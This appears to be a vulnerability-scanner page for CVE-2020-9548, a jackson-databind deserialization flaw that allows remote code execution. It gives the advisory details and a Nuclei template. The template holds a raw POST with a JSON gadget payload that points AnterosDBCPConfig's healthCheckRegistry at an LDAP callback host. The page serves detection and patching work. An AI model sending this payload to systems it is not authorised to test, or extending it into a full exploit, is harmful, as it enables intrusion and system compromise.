FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution

criticalseverity

9.8CVSS score

18.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).

Impact

Remote attackers can execute arbitrary code during deserialization, potentially leading to full system compromise.

Fix

Update to version 2.9.10.4 or later.

How to confirm it

Send: POST /
Positive when: contains(interactsh_protocol, "dns") and contains(body, "Error: Class") and contains(content_type, "text/plain")

Run it with nuclei: nuclei -id CVE-2020-9548 -u <target>

The full check

id: CVE-2020-9548

info:
  name: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
  author: tomaquet18
  severity: critical
  description: |
    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
  impact: |
    Remote attackers can execute arbitrary code during deserialization, potentially leading to full system compromise.
  remediation: |
    Update to version 2.9.10.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9548
    - https://github.com/fairyming/CVE-2020-9548
    - https://www.sangfor.com/blog/cybersecurity/fasterxml-jackson-databind-remote-code-execution-vulnerability-cve-2020-9548
    - https://lists.apache.org/thread.html/r35d30db00440ef63b791c4b7f7acb036e14d4a23afa2a249cb66c0fd%40%3Cissues.zookeeper.apache.org%3E
    - https://lists.apache.org/thread.html/r9464a40d25c3ba1a55622db72f113eb494a889656962d098c70c5bb1%40%3Cdev.zookeeper.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-9548
    cwe-id: CWE-502
    epss-score: 0.18921
    epss-percentile: 0.9732
    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fasterxml
    product: jackson-databind
  tags: cve,cve2020,jackson,fasterxml,rce,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [
          "br.com.anteros.dbcp.AnterosDBCPConfig",
          {
            "healthCheckRegistry": "ldap://{{interactsh-url}}"
          }
        ]

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "Error: Class")'
          - 'contains(content_type, "text/plain")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from